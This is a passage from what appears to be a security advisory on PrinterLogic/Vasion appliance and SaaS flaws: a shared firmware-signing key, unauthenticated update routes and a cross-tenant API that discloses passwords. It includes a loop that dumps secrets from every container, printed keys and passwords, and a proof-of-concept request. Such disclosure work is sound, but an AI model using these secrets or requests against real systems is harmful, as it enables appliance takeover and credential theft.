<p>WARNING: disabling verification of the certificate allows bad guys to man-in-the-middle the communication without you knowing it. Disabling verification makes the communication insecure. Just having encryption on a transfer is not enough as you cannot be sure that you are communicating with the correct end-point.
- https://curl.se/libcurl/c/CURLOPT_SSL_VERIFYPEER.html</p>
</blockquote>
<p>The official source code is available at <a href="https://github.com/iignatov/LightOpenID">https://github.com/iignatov/LightOpenID</a> and has not been maintained since 2016.</p>
<p>This PHP library has been known for years for being insecure. From <a href="https://marc.info/?l=openid-security&amp;m=155477050605610&amp;w=2">https://marc.info/?l=openid-security&amp;m=155477050605610&amp;w=2</a>:</p>
<blockquote>
<p>In my testing, I found a PHP open source library for OpenID named "LightOpenID" that is also high-risk to SSRF attacks. This PHP library appears to be quite popular as well in the community, and in my opinion, iseven riskier than ruby-openid.  In addition to the SSRF weakness, I was able to demonstrate auth bypass against one affected app by performing whatis known as a Malicious Endpoint Attack (an attacker spoof's an OpenID 2.0 Provider (OP), and uses the Blind SSRF to gain unauthorized access to other app user accounts).</p>
</blockquote>
<p>This code is vulnerable to Man-In-The-Middle and SSRF.</p>
<p>The version used in the solution is completely outdated, for more than 10 years.</p>
<p>This library is not supported since 2016.</p>
<h2>Vulnerabilities specific to PrinterLogic VA</h2>
<p><a id="va-insecure-firmware-update-ms-auth-key"></a></p>
<h2>Details - Insecure firmware image update using the MS_AUTH_KEY variable</h2>
<p>By default, the variable <code>MS_AUTH_KEY</code> is imported into a large number of Docker instances. Here are the Docker instances with access to this private key.</p>
<p>Finding Docker instances with access to the <code>MS_AUTH_KEY</code> environment variable:</p>
<pre><code>root@printerlogic:~# for i in $(docker ps | awk '{ print $1 }'); do echo -n "$(docker ps|grep $i | awk '{ print $2 }') "; echo -n "$(docker exec -it $i env | grep MS_AUTH_KEY)";echo;done
printerlogic/pi:5.0.6539        MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/pi:5.0.6539        MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/pi:5.0.6539        MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/pi:5.0.6539        MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/va-api:1.1.4       MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/tree:1.0.57        MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/authn:1.0.257      MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/identity:v1.0.88   MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/users:5.186.1      MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/idpi:1.0.6         MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/sched:1.0.18       MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/ebc:1.0.34         MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/oncp-pgw:v1.0.21   MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/scss:1.0.39        MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
traefik:latest
printerlogic/scd:1.0.70         MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/eb:0.0.4           MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
redis:5-alpine 
printerlogic/pi:5.0.6539        MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/gw:1.208.5         MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/cpp-ui:1.80.5      MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/client:25.1.0.551 
printerlogic/oncp-reg:1.0.15    MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/users:5.186.1      MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/oncp-ofn:v1.0.6    MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/prs:1.0.2          MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/br:1.0.62          MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/edw:1.0.44         MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/oncp-hold:v1.0.31  MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/cat:1.0.58         MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/qms:1.0.124        MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
dperson/samba:latest 
printerlogic/pi:5.0.6539        MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/pq:5.0.124         MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/scim:1.0.9         MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
mysql:8.0.26 
portainer/agent:latest 
printerlogic/va-cdn:0.0.435     MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/hive:1.1.30 
root@printerlogic:~#
</code></pre>
<p>This variable is used to manage the firmware update processus using the <code>/va-api</code> route (managed by the Docker instance <code>va-api</code>, with the program <code>/opt/va-api</code>).</p>
<p>By default, the route <code>/va-api</code> doesn't implement a standard authentication mechanism.</p>
<p>The API <code>/va-api/v1/update/filename?sign=%s&amp;timestamp=%d</code> provides the firmware update interface, allowing an attacker to upload a malicious firmware image (signed using the previous GPG key extracted) to a remote appliance.</p>
<p>The update is a 2-step process:</p>
<ul>
<li>Request to <code>/va-api/v1/update/filename?sign=unique_signature&amp;timeStamp=current_timestamp</code> with the GPG-encrypted firmware image</li>
<li>Request to <code>/va-api/v1/update/filename?sign=unique_signature&amp;timeStamp=current_timestamp</code></li>
</ul>
<p>In these 2 steps, there are no session cookies or authentication mechanism based on login/password:</p>
<p><img alt="" src="images/2025-vasion-report-1-update-01.png" /></p>
<p><a href="images/2025-vasion-report-1-update-01-full.png">Click here for full image</a></p>
<p>Uploading the firmware image</p>
<p><img alt="" src="images/2025-vasion-report-1-update-02.png" /></p>
<p><a href="images/2025-vasion-report-1-update-02-full.png">Click here for full image</a></p>
<p>Installing the firmware image</p>
<p>The update process works using a correct sign value associated with a timestamp. This sign value is calculcated using the <code>MS_AUTH_KEY</code> value in the <code>/var/www/app/app/Services/SignService.php</code> file implementing the SignService class:</p>
<p>Content of <code>/var/www/app/app/Services/SignService.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
 <span style="color: #666666">13</span> <span style="color: #008000; font-weight: bold">class</span> <span style="color: #0000FF; font-weight: bold">SignService</span>
 <span style="color: #666666">14</span> {
 <span style="color: #666666">15</span>     <span style="color: #BA2121; font-style: italic">/**</span>
<span style="color: #BA2121; font-style: italic"> 16      * Return an array that contains the info needed to sign a request</span>
<span style="color: #BA2121; font-style: italic"> 17      *</span>
<span style="color: #BA2121; font-style: italic"> 18      * @param string $siteId The siteId to use</span>
<span style="color: #BA2121; font-style: italic"> 19      *</span>
<span style="color: #BA2121; font-style: italic"> 20      * @return array</span>
<span style="color: #BA2121; font-style: italic"> 21      */</span>
 <span style="color: #666666">22</span>     <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">static</span> <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">getSignInfo</span>(<span style="color: #19177C">$siteId</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">null</span>)
 <span style="color: #666666">23</span>     {
 <span style="color: #666666">24</span>         <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #666666">!</span><span style="color: #19177C">$siteId</span>) {
 <span style="color: #666666">25</span>             <span style="color: #19177C">$siteId</span> <span style="color: #666666">=</span> App<span style="color: #666666">::</span><span style="color: #7D9029">getSiteId</span>();
 <span style="color: #666666">26</span>         }
 <span style="color: #666666">27</span> 
 <span style="color: #666666">28</span>         <span style="color: #19177C">$currentTime</span> <span style="color: #666666">=</span> Carbon<span style="color: #666666">::</span><span style="color: #7D9029">now</span>();
 <span style="color: #666666">29</span> 
 <span style="color: #666666">30</span>         <span style="color: #19177C">$info</span> <span style="color: #666666">=</span> <span style="color: #008000">implode</span>(
 <span style="color: #666666">31</span>             <span style="color: #BA2121">&quot;,&quot;</span>,
 <span style="color: #666666">32</span>             [
 <span style="color: #666666">33</span>                 <span style="color: #BA2121">&#39;key&#39;</span> <span style="color: #666666">=&gt;</span> config(<span style="color: #BA2121">&#39;auth.microservice_auth_key&#39;</span>), <span style="color: #408080; font-style: italic">// [1] retrieve auth.microservice_auth_key</span>
 <span style="color: #666666">34</span>                 <span style="color: #BA2121">&#39;siteId&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$siteId</span>,
 <span style="color: #666666">35</span>                 <span style="color: #BA2121">&#39;timeStamp&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$currentTime</span>
 <span style="color: #666666">36</span>             ]
 <span style="color: #666666">37</span>         );
 <span style="color: #666666">38</span>         <span style="color: #19177C">$sign</span> <span style="color: #666666">=</span> Hash<span style="color: #666666">::</span><span style="color: #7D9029">make</span>(<span style="color: #19177C">$info</span>);                             <span style="color: #408080; font-style: italic">// [2] generation of a secure hash</span>
 <span style="color: #666666">39</span> 
 <span style="color: #666666">40</span>         <span style="color: #008000; font-weight: bold">return</span> [
 <span style="color: #666666">41</span>             <span style="color: #BA2121">&#39;sign&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$sign</span>,
 <span style="color: #666666">42</span>             <span style="color: #BA2121">&#39;timeStamp&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$currentTime</span>
 <span style="color: #666666">43</span>         ];
 <span style="color: #666666">44</span>     }
 <span style="color: #666666">45</span> }
</pre></div>

<p>On line 33, the variable <code>auth.microservice_auth_key</code> which is the previous environment variable <code>MS_AUTH_KEY</code> will be used as a secret key to generate a hash on the line 38.</p>
<p>An attacker knowing the <code>MS_AUTH_KEY</code> variable can create valid signatures for the upload process, without using credentials for authentication.</p>
<p>If an attacker has access to the file <code>/etc/printercloud/appliance.env</code> OR access to any Docker instance, then the appliance can be completely compromised by uploading a malicious firmware image, without administrator credentials.</p>
<p>The compromise of any Docker instance means that the solution is completely compromised.</p>
<p><code>/etc/printercloud/appliance.env</code> containing the variable in clear-text with insecure permissions:</p>
<pre>
root@printerlogic:~# ls -la /etc/printercloud/appliance.env
<font color=red>-rwxrwxr-x</font> 1 ubuntu docker 858 Jan 27 10:16 /etc/printercloud/appliance.env
root@printerlogic:~# cat /etc/printercloud/appliance.env
[...]
# Anything below this line has been added via script/automation
VA_VERSION="1.0.730"
<font color=red>MS_AUTH_KEY="ccb33b57-7960-409c-9d15-b6c5b475c839"</font>
APPLIANCE_LOG_DIR="/var/www/efs_storage/logs/oddhok71vqjdjhjtous8xy3vx"
APP_KEY="1U3leCKOyUKV2NHfYHFJ3bH9l5JU8X7M"
MYSQL_ROOT_PASSWORD="0aa58a30-9f32-4731-a03c-3795fe49c0f3"
[...]
root@printerlogic:~#
</pre>

<p>The variable sign will appear in the source of the webpage <code>http://target/admin/generators/management_ts_account.php</code>. The source code comes from the included page <code>/var/www/app/admin/design/management_accountts_pcabout.php</code>.</p>
<p>Content of <code>/var/www/app/admin/design/management_accountts_pcabout.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
 <span style="color: #666666">10</span>         <span style="color: #BA2121">&#39;about.va.versions&#39;</span>,
 <span style="color: #666666">11</span>         [
 <span style="color: #666666">12</span>             <span style="color: #BA2121">&#39;versions&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #008000">json_encode</span>(VaService<span style="color: #666666">::</span><span style="color: #7D9029">getPackageVersions</span>()),
 <span style="color: #666666">13</span>             <span style="color: #BA2121">&#39;date&#39;</span> <span style="color: #666666">=&gt;</span> VaService<span style="color: #666666">::</span><span style="color: #7D9029">getUpdateTimestamp</span>(),
 <span style="color: #666666">14</span>             <span style="color: #BA2121">&#39;updateAvailable&#39;</span> <span style="color: #666666">=&gt;</span> VaService<span style="color: #666666">::</span><span style="color: #7D9029">isApplianceUpdateAvailable</span>(),
 <span style="color: #666666">15</span>             <span style="color: #BA2121">&#39;apiSignInfo&#39;</span> <span style="color: #666666">=&gt;</span> SignService<span style="color: #666666">::</span><span style="color: #7D9029">getSignInfo</span>(<span style="color: #BA2121">&#39;va-api&#39;</span>),
 <span style="color: #666666">16</span>             <span style="color: #BA2121">&#39;gwUrl&#39;</span> <span style="color: #666666">=&gt;</span> config(<span style="color: #BA2121">&#39;api.gw.public_url&#39;</span>),
</pre></div>

<p>Regarding the recovery of the <code>MS_AUTH_KEY</code> value using the timestamp and the siteId values, it appears this attack is not possible with the current hardware. The attacker knows the result of hash(<code>MS_AUTH_KEY siteId timeStamp</code>), the timestamp value and the siteId, allowing him to test MS_AUTH_KEY values:</p>
<pre><code>known_hash = bcrypt(`MS_AUTH_KEY known_siteId known_timeStamp`, cost = 10)
</code></pre>
<p>A bruteforce attack using all different MS_AUTH_KEY values (the '-' characters  and the 15th character '4' are always at the same position using random uuids provided by the Linux kernel) will require testing 16^31 possibilities. This bruteforce capacity is not likely to be available for average attackers.</p>
<p>An initial analysis of the <code>/opt/av-api</code> (from the Docker instance va-api) has been done. This is a HTTP server implementing APIs for the route /v1/*:</p>
<p><img alt="" src="images/2025-vasion-report-1-va-api.png" /></p>
<p><a href="images/2025-vasion-report-1-va-api-full.png">Click here for full image</a></p>
<p>Reverse Engineering va-api</p>
<p>It appears the program <code>/opt/va-api</code> reads the variable <code>MS_AUTH_KEY</code> in <code>/etc/printercloud/appliance.env</code> to confirm if the sign and timestamp variables are valid. This docker has full RW privileges to the <code>/etc/printercloud</code> directory:</p>
<pre><code>root@printerlogic:/var/www/efs_storage/logs/oddhok71vqjdjhjtous8xy3vx# docker exec -it 7943f93771b1 /bin/sh
/ # mount | grep printercloud
/dev/mapper/printerlogic--vg-root on /etc/printercloud type ext4 (rw,relatime,errors=remount-ro,data=ordered)
/ #
</code></pre>
<p>This program was not analysed but contains a lot of interesting functions (e.g. managing the update processus). Futhermore, this Docker instance is exposed (<a href="#va-insecure-access-docker-instances-from-wan">non-assigned CVE vulnerability - Insecure access to Docker instances from the WAN</a>).</p>
<p>If any attacker compromises any Docker instance, then he can upload malicious firmware updates and install them without authentication.</p>
<p>The compromise of any Docker instance means the solution is completely compromised.</p>
<p>There is no accountability regarding the firmware update process - it is not possible to associate the update process with a specific administrator.</p>
<p>The firmware upgrade mechanism is insecure (and was successfully compromised in the 2024 security assessment: <a href="#va-rce-02">Remote take over of PrinterLogic instances (Remote Code Execution)</a>).</p>
<h2>Security assessment done in 2024</h2>
<h2>Identification of the solution</h2>
<p>The audited PrinterLogic version is 22.0.893 (December 2023).</p>
<p>The audited host version is 1.0.730.</p>
<p>This PrinterLogic version has been retrieved from https://help.printerlogic.com/va/1-Printerlogic/Release_Notes/VA_Latest_Host_Builds.htm (OpenBuild 22.0.893: December 1st, 2023).</p>
<p>The host version has been retrieved from https://docs.printerlogicva.com/1-Printerlogic/Release_Notes/VA_Latest_Host_Builds.htm (Build 1.0.730: December 30th, 2021).</p>
<p>Checksums of the audited versions:</p>
<pre><code>b06c9938b8ec5fd47a41fb7188d8e50fd9bac727a2ac0e84e4719524a124f744  printerinstaller-22.0.893.ova
</code></pre>
<p>The VA version was updated to the latest version (20.0.2140 from 04/01/2024).</p>
<p>The solutions use several Docker instances - all the instances have been made up to date, as shown below:</p>
<p>PrinterLogic VA version
<img alt="" src="images/2025-vasion-report-2-local-version-01.png" /></p>
<p>PrinterLogic VA version
<img alt="" src="images/2025-vasion-report-2-local-version-02.png" /></p>
<p>PrinterLogic SaaS version on [redacted].printerlogic10.com
<img alt="" src="images/2025-vasion-report-2-saas-version.png" /></p>
<p><a href="images/2025-vasion-report-2-saas-version-full.png">Click here for full image</a></p>
<h2>Previous vulnerabilities found in the SaaS/VA versions</h2>
<h2>List of unpatched vulnerabilities - analysis of vulnerabilities found in 2022</h2>
<p>These vulnerabilities have not been patched:</p>
<ul>
<li>Hardcoded password for the ubuntu user;</li>
<li>
<ul>
<li>incomplete patch: /etc/shadow OK but /etc/sudoers still contains an entry for ubuntu;</li>
</ul>
</li>
<li>Insecure communications to printers and insecure communications to micro-services by disabling all SSL verifications;</li>
<li>Password for 'network' stored in clear-text inside /etc/issue, world-readable;</li>
<li>Hardcoded SSH keys + private SSH keys for [redacted]@printerlogic.com;</li>
<li>Lack of firewall between Docker instances;</li>
<li>Insecure access to Docker instances from the WAN;</li>
<li>Incorrect security architecture and wrong permissions in /var/www/efs_storage allowing allowing to compromise the solution;</li>
<li>Outdated, End-Of-Life, unsupported and vulnerable components (Nginx, libraries, Laravel, operating systems);</li>
<li>Processes running as root in Docker instances;</li>
<li>Creation of administrator cookies using the credentials of regular users;</li>
<li>Incorrect Access Control to PHP webpages allowing to reach printers;</li>
<li>SSRF everywhere in /var/www/app/;</li>
<li>XSS everywhere in /www/app/admin/*;</li>
<li>Remote Code Executions using eval() - requires administrator privileges;</li>
<li>
<ul>
<li>Incorrectly patched;</li>
</ul>
</li>
<li>Insecure SSH configuration;</li>
<li>Incorrect encryption algorithms used to store passwords;</li>
<li>GPG Private key stored in the solution;</li>
<li>Passwords readable and stored in clear-text;</li>
<li>Hardcoded SSL certificate / Private keys;</li>
<li>Insecure firmware image update using the MS_AUTH_KEY variable.</li>
</ul>
<h2>List of patched vulnerabilities - analysis of vulnerabilities found in 2022</h2>
<p>These vulnerabilities have been patched:</p>
<ul>
<li>Hardcoded SSH server keys;</li>
<li>Hardcoded AWS secret key and Presence of CI/CD scripts;</li>
<li>
<ul>
<li>found invalid creds: AKIAQZ3LX27RE4BOH66J/ixKgihrTK5vmPrcPJhAO0TOtcOUaVJEQmeuBUQDS, AKIAIWHNML7OFS67RVKQ/gkZYcXhsFCxw9SAoqXCR06WgxBa3T02UiD31NcBV, AKIAJ5I5ZX5VQ43PMYIQ/TZy2BVyDJB73J2fuLi7rbqIW2nXnVvvsUQ5PjBF0), reference to a specific s3 bucket: appliance-storage-01-us-west-2-dbbackups does not seem exploitable;</li>
</ul>
</li>
<li>Hardcoded Mailgun credentials;</li>
<li>Hardcoded OKTA Private key;</li>
<li>XSS in the license generator and weak encryption algorithm;</li>
<li>Pre-authentication Elatec password disclosure, Change to a malicious Elatec server and Blind-SSRF;</li>
<li>Pre-authentication SSRF and Change of RFIDeas;</li>
<li>Pre-authentication Stored XSS in /var/www/app/console_release/fast_release/register_badge.php;</li>
<li>XSS in /var/www/app/console_release/fast_release/ register_badge_new.php;</li>
<li>XSS in /www/app/admin/design/reports/overview_popup.php and Incorrect Access Control;</li>
<li>Dangerous PHP dead code;</li>
<li>Samba password available in the process list;</li>
<li>Supply Chain attack against the PrinterLogic build system;</li>
<li>Vulnerable OpenID implementation.</li>
</ul>
<h2>Previous vulnerabilities found in the macOS/Linux clients</h2>
<h3>Identification of the solution</h3>
<p>The version of the audited macOS/Linux client is 21.1.0.658.</p>
<h3>List of unpatched vulnerabilities</h3>
<p>These vulnerabilities have not been patched:</p>
<ul>
<li>Incorrect permissions in /opt/PrinterInstallerClient/log;</li>
<li>
<ul>
<li>No modified, risk accepted by the vendor;</li>
</ul>
</li>
<li>Lack of authentication of the communication between services;</li>
<li>
<ul>
<li>Not patched - design is insecure;</li>
</ul>
</li>
<li>Potential upload of new drivers;</li>
<li>
<ul>
<li>when using /admin with a normal user -&gt; upload works;</li>
</ul>
</li>
<li>Outdated OpenSSL version.</li>
</ul>
<h3>List of patched vulnerabilities</h3>
<p>These vulnerabilities have been patched:</p>
<ul>
<li>Hardcoded Private key for the PrinterLogic CA and Hardcoded password;</li>
<li>Leak of secrets inside the logs;</li>
<li>Bypass of admin commands using IPC;  </li>
<li>Insecure generation of debug archive;  </li>
<li>Arbitrary File Read as root;</li>
<li>Arbitrary File Write as root. </li>
</ul>
<h2>Previous vulnerabilities found in the Windows client</h2>
<h3>Identification of the solution</h3>
<p>The version of the audited Windows client version is 25.0.0.983.</p>
<h3>List of unpatched vulnerabilities</h3>
<p>These vulnerabilities have not been patched:</p>
<ul>
<li>PrinterInstallerClientInterface.exec, PrinterInstallerClient.exe and PrinterInstallClientLauncher.exe have No data execution prevention, no ASLR, no CFG and no stack protection;</li>
<li>Local Privilege Escalation via C:\Windows\Temp\PPP\Log (a process running as NT AUTHORITY\SYSTEM is used to read/write files inside a full-R/W directory).</li>
</ul>
<h3>List of patched vulnerabilities</h3>
<p>These vulnerabilities have been patched:</p>
<ul>
<li>Hardcoded Private key for the PrinterLogic CA and Hardcoded password;</li>
<li>Local Privilege Escalation - C:\Users\pfq\AppData\Local\Temp\ not used anymore. Instead C:\Windows\PPP_TEMP is securely used;</li>
<li>Remote Code Execution using PrinterLogic (Execution of C:\Program.exe during the installation of a driver).</li>
</ul>
<h2>Vulnerabilities affecting the SaaS version</h2>
<h2>Identification of the solution</h2>
<p>PrinterLogic SaaS version on [redacted].printerlogic10.com
<img alt="" src="images/2025-vasion-report-2-saas-version.png" /></p>
<p><a href="images/2025-vasion-report-1-saas-version-full.png">Click here for full image</a></p>
<p><a id="saas-cross-tenant-password-disclosure"></a></p>
<h2>Details - Cross-tenant vulnerability - disclosure of passwords of other customers and change of settings of any tenant</h2>
<p>It was observed that the <code>/api-gateway/br/devices</code> API is insecure - this API will display the passwords of other tenants using the SaaS version. It appears that it is also possible to change the settings of other tenants (not tested but the source code does not implement authentication so it is vulnerable).</p>
<p>In cloud computing, tenancy refers to the sharing of computing resources in a private or public environment that is isolated from other users and kept secret. Cross-tenant vulnerabilities allow a customer to interact with data/infrastructure used by another customer, breaking a critical security boundary.</p>
<p>We can confirm that the displayed passwords correspond to other tenants since the <code>siteID</code> variables are specified in the HTTP answer. For the security assessment, the siteID variables is <code>[redacted1]</code> (prod instance) and <code>[redacted2]</code> (test instance). An attacker can find information corresponding to other tenants (with siteID variables <code>[redacted]</code>, <code>[redacted]</code>, <code>[redacted]</code>, ...):</p>
<p>Disclosure of credentials using the <code>/api-gateway/br/devices</code> API:
<img alt="" src="images/2025-vasion-report-2-cross-tenant-passwords-leak.png" /></p>
<p><a href="images/2025-vasion-report-2-cross-tenant-passwords-leak-full.png">Click here for full image</a></p>
<p>PoC - HTTP request to https://[redacted].printercloud10.com/api-gateway/br/devices</p>
<pre><code>GET /api-gateway/br/devices HTTP/2
Host: [redacted].printercloud10.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Csrf-Token: mG855uOhde1KjgHFrfdLdHHNejyllHHF07DL93Lj
X-Requested-With: XMLHttpRequest
Content-Length: 0
Origin: https://[redacted].printercloud10.com
Referer: https://[redacted].printercloud10.com/admin/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
</code></pre>
<p>And the reply provides clear-text credentials corresponding to other tenants while the request is sent to the <code>[redacted]</code> tenant.</p>
<p>HTTP answer prodiving credentials of other tenants while interacting with the <code>[redacted]</code> tenant:</p>
<pre><code>HTTP/2 200 OK
Date: Mon, 18 Dec 2023 14:26:40 GMT 
Content-Type: application/json
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: no-cache, private
Content-Security-Policy: frame-ancestors 'self'
Expires: Thu, 19 Nov 1981 08:52:00 GMT 
Pragma: no-cache
Server: nginx
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
{
  "data": [
    {   
      "type": "devices",
      "id": "[redacted]",
      "attributes": {
        "siteId": "[redacted]",
        "type": "[redacted]",
        "ipAddress": "[redacted]",
        "username": "[redacted]",
        "password": "[redacted]",
        "printerId": "[redacted]" 
      },  
      "relationships": {
        "deviceType": {
          "slug": "[redacted]",
          "name": "[redacted]",
          "credentials": true
        }   
      }   
    },  
    [...]
    {   
      "type": "devices",
      "id": "[redacted]",
      "attributes": {
        "siteId": "[redacted]",
        "type": "[redacted]",
        "ipAddress": "[redacted]",
        "username": "[redacted]",
        "password": "[redacted]",
        "printerId": "[redacted]" 
      },  
      "relationships": {
        "deviceType": {
          "slug": "[redacted]",
          "name": "[redacted]",
          "credentials": true
        }   
      }   
    },  
    {   
      "type": "devices",
      "id": "[redacted]",
      "attributes": {
        "siteId": "[redacted]",
        "type": "[redacted]",
        "ipAddress": "[redacted]",
        "username": "[redacted-DC-domain]\\Administrator",
        "password": "[redacted]",
        "printerId": "[redacted]" 
      },  
      "relationships": {
        "deviceType": {
          "slug": "[redacted]",
    [...]
</code></pre>
<p>The APIs are defined in the <code>printerlogic/br</code> Docker instance and do not implement authentication: an attacker can view/edit settings corresponding to other tenants:</p>
<p>Content of <code>/var/www/app/routes/api.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
<span style="color: #008000; font-weight: bold">use</span> Illuminate\Http\Request;

<span style="color: #408080; font-style: italic">/*</span>
<span style="color: #408080; font-style: italic">|--------------------------------------------------------------------------</span>
<span style="color: #408080; font-style: italic">| API Routes</span>
<span style="color: #408080; font-style: italic">|--------------------------------------------------------------------------</span>
<span style="color: #408080; font-style: italic">|</span>
<span style="color: #408080; font-style: italic">| Here is where API routes are registered for the application. These</span>
<span style="color: #408080; font-style: italic">| routes are loaded by the RouteServiceProvider within a group which</span>
<span style="color: #408080; font-style: italic">| is assigned the &quot;api&quot; middleware group.</span>
<span style="color: #408080; font-style: italic">|</span>
<span style="color: #408080; font-style: italic">*/</span>

Route<span style="color: #666666">::</span><span style="color: #7D9029">get</span>(<span style="color: #BA2121">&#39;meta&#39;</span>, <span style="color: #BA2121">&#39;MetaController@index&#39;</span>);

Route<span style="color: #666666">::</span><span style="color: #7D9029">middleware</span>([<span style="color: #BA2121">&#39;auth.key&#39;</span>])<span style="color: #666666">-&gt;</span><span style="color: #7D9029">group</span>(<span style="color: #008000; font-weight: bold">function</span> () {
    <span style="color: #BA2121; font-style: italic">/**</span>
<span style="color: #BA2121; font-style: italic">     * Device routes</span>
<span style="color: #BA2121; font-style: italic">     */</span>
    Route<span style="color: #666666">::</span><span style="color: #7D9029">get</span>(<span style="color: #BA2121">&#39;devices&#39;</span>, <span style="color: #BA2121">&#39;DeviceController@index&#39;</span>);
    Route<span style="color: #666666">::</span><span style="color: #7D9029">get</span>(<span style="color: #BA2121">&#39;devices/{id}&#39;</span>, <span style="color: #BA2121">&#39;DeviceController@show&#39;</span>);
    Route<span style="color: #666666">::</span><span style="color: #7D9029">post</span>(<span style="color: #BA2121">&#39;devices&#39;</span>, <span style="color: #BA2121">&#39;DeviceController@store&#39;</span>);
    Route<span style="color: #666666">::</span><span style="color: #7D9029">put</span>(<span style="color: #BA2121">&#39;devices/{id}&#39;</span>, <span style="color: #BA2121">&#39;DeviceController@update&#39;</span>);
    Route<span style="color: #666666">::</span><span style="color: #7D9029">delete</span>(<span style="color: #BA2121">&#39;devices/{id}&#39;</span>, <span style="color: #BA2121">&#39;DeviceController@destroy&#39;</span>);

    <span style="color: #BA2121; font-style: italic">/**</span>
<span style="color: #BA2121; font-style: italic">     * Device type routes</span>
<span style="color: #BA2121; font-style: italic">     */</span>
    Route<span style="color: #666666">::</span><span style="color: #7D9029">get</span>(<span style="color: #BA2121">&#39;device-types&#39;</span>, <span style="color: #BA2121">&#39;DeviceTypeController@index&#39;</span>);
    Route<span style="color: #666666">::</span><span style="color: #7D9029">get</span>(<span style="color: #BA2121">&#39;device-types/{slug}&#39;</span>, <span style="color: #BA2121">&#39;DeviceTypeController@show&#39;</span>);
});
</pre></div>

<p>Since authentication is not implemented, any user in any tenant can edit badge devices of any tenant:</p>
<p>Content of <code>/var/www/app/app/Http/Controllers/DeviceController.php</code> implementing the previous methods:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #BC7A00">&lt;?php</span>

<span style="color: #008000; font-weight: bold">namespace</span> App\Http\Controllers;

<span style="color: #008000; font-weight: bold">use</span> App\Http\Controllers\Traits\ApiResponse;
<span style="color: #008000; font-weight: bold">use</span> App\Http\Requests\DeviceRequest;
<span style="color: #008000; font-weight: bold">use</span> App\Models\Device;
<span style="color: #008000; font-weight: bold">use</span> App\Models\DeviceAttribute;
<span style="color: #008000; font-weight: bold">use</span> App\Services\DeviceService;
<span style="color: #008000; font-weight: bold">use</span> App\Transformers\DeviceTransformer;
<span style="color: #008000; font-weight: bold">use</span> Illuminate\Database\QueryException;
<span style="color: #008000; font-weight: bold">use</span> Illuminate\Http\JsonResponse;
<span style="color: #008000; font-weight: bold">use</span> Symfony\Component\HttpFoundation\Response <span style="color: #008000; font-weight: bold">as</span> HttpResponse;

<span style="color: #BA2121; font-style: italic">/**</span>
<span style="color: #BA2121; font-style: italic"> * Class DeviceController</span>
